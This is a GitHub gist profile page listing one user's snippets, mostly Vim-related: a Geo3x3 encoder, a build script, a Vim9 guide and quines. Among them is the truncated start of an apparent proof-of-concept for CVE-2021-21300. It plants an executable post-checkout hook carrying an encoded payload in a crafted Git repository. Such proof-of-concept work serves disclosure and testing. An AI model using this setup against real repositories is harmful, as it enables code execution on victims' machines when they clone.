Skip to content

Instantly share code, notes, and snippets.

View kat0h's full-sized avatar
:octocat:

Kota Kato kat0h

:octocat:
  • Japan
View GitHub Profile
@kat0h
kat0h / geo3x3.vim
Created March 13, 2021 02:51
Geo3x3.vim
fu Geo3x3_encode(lat, lng, level)
let lng = a:lng
if lng >= 0.0
let result = "E"
else
let result = "W"
lng += 180.0
en
let lat = a:lat + 90.0
let unit = 180.0
@kat0h
kat0h / build_vim.sh
Created March 12, 2021 07:13
Vim-build-script
cd vim
git fetch && git reset --hard origin/master
make distclean
./configure --with-features=huge --enable-multibyte --enable-rubyinterp --enable-python3interp --enable-pythoninterp --enable-perlinterp --enable-fontset --enable-pythoninterp
if [ ! $? -eq 0 ]; then exit ;fi
make
make install
@kat0h
kat0h / CVE-2021-21300.sh
Last active March 12, 2021 06:33
CVE-2021-21300.sh
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" >.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho H4sIADnNkVkAA4WRUQ7AIAhD/zkFKefr/X+HLsGicXOJcb5asLq7g/T/YWMiVQs9BxZMKTAWUZTY7CCuTcoQVy1ghxLvD7UZLumqOVfZYG1gjHJt12ffuDIbaYTSyK8iubNZESGBRPRrXZhl25ERr9jD18EPZptUBIdNYzNHzc23l7wxewC/zHs/WAIAAA== | base64 --decode | gzip -d >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
@kat0h
kat0h / vim9script4pythondevelopers.md
Last active January 15, 2025 12:26
Vim9 script for Python Developers

Vim9 script for Python Developers

Vim9 scriptはVim scriptとの互換をなくし変数の型縛りを導入したり、コンパイルをすることなどにより、高速化を実現した新しい処理系です。

defコマンドで定義された関数内、またはVim script内でvim9scriptコマンドを使うことで利用できます(vim9scriptコマンドの後ではfunctionコマンドは利用できません)。

この記事は、 https://gist.github.com/yegappan/16d964a37ead0979b05e655aa036cad0 の内容を元にVim(v8.2.2576)上のVim9 scriptで動作するように改変したものです。

Vim9 scriptで動作を確認できなかったもの、まだ実装されていなものはpassと表記し、省略しています。

@kat0h
kat0h / gist:70d39a6307736714fd2df4dc5dce4e94
Last active March 12, 2021 08:01
Vim Quine Shell Gei

まだ読む気になれるQuine

vim -es +'let src="norm ivim -es +^=nr2char(39)@let src=^=nr2char(34)@^=src@^=nr2char(34)@ | exe src->tr(^=nr2char(34)..nr2char(37)..nr2char(94)..nr2char(64)..nr2char(34)@, nr2char(27)..nr2char(18)..nr2char(10))^=nr2char(39)@ +^=nr2char(39)..nr2char(37)@p|q!^=nr2char(39)@" | exe src->tr("%^@", nr2char(27)..nr2char(18)..nr2char(10))' +'%p|q!'

ソースコードを変数sに代入し、インサートモード内で=を使うことで展開している。
"はasciiコードから入力している。

繰り返しを省いたQuine

# This code is licensed under CC0
import PySimpleGUI as sg
import pyautogui
def get_cursorpos():
return pyautogui.position()
def get_winpos(window):